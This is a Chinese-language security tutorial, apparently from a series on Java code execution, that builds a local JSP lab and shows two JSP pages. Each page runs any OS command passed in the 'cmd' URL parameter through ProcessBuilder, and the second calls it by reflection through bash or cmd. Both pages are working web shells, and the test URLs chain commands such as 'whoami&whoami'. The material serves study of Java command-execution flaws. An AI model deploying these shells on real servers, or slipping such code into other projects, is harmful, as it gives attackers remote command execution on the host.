0x01 前言
在前面一章节学习了 java.lang.Runtime类 的 exec方法
知道了最终exec方法,会调用ProcessBuilder类来执行本地命令
因此我们直接查看 exec方法,然后对ProcessBuilder说
拿来把你
0x02 环境搭配
为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建
Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr
0x03 ProcessBuilder命令执行测试
# 在 webapp目录下面新建立一个文件: processBuilder.jsp# 文件名: processBuilder.jsp<%@ page import="java.io.InputStream" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%// 漏洞触发点String cmd = request.getParameter("cmd");InputStream in = new ProcessBuilder(cmd).start().getInputStream();ByteArrayOutputStream results = new ByteArrayOutputStream();int l = -1;byte[] b = new byte[1024];while ((l = in.read(b)) != -1) {results.write(b, 0, l);}out.println(results);%># 写好完毕以后启动项目# request.getParameter("cmd") 就是我们可控的地方# 表示url中 get请求的cmd参数
访问url:http://127.0.0.1:8081/mavenJspTest_war/processBuilder.jsp?cmd=whoami
命令执行效果如下: 
0x04 ProcessBuilder命令执行-反射调用
# 在 webapp目录下面新建立一个文件: processBuilder2.jsp# 文件名: processBuilder2.jsp<%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%// 漏洞触发点String c = request.getParameter("cmd");// 根据系统自动调用对应命令String[] cmd;String osName = System.getProperties().getProperty("os.name");if (osName.toLowerCase().contains("windows")) {cmd = new String[]{"cmd", "/c", c};} else {cmd = new String[]{"/bin/bash", "-c", c};}// 获取ProcessBuilder类对象Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");// 获取构造方法Constructor processBuilderConstructor = processBuilderClass.getConstructor(String[].class);// 创建ProcessBuilder类实例Object processBuilderInstance = processBuilderConstructor.newInstance(new Object[]{cmd});// 获取Runtime的exec(String cmd)方法Method processBuilderMethod = processBuilderClass.getMethod("start");// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令Process p = (Process) processBuilderMethod.invoke(processBuilderInstance);// 获取命令执行结果InputStream in = p.getInputStream();ByteArrayOutputStream results = new ByteArrayOutputStream();byte[] b = new byte[1024];int l = -1;while ((l = in.read(b)) != -1) {results.write(b, 0, l);}out.print(results);%>
访问url:http://127.0.0.1:8081/mavenJspTest_war/processBuilder2.jsp?cmd=whoami%26whoami

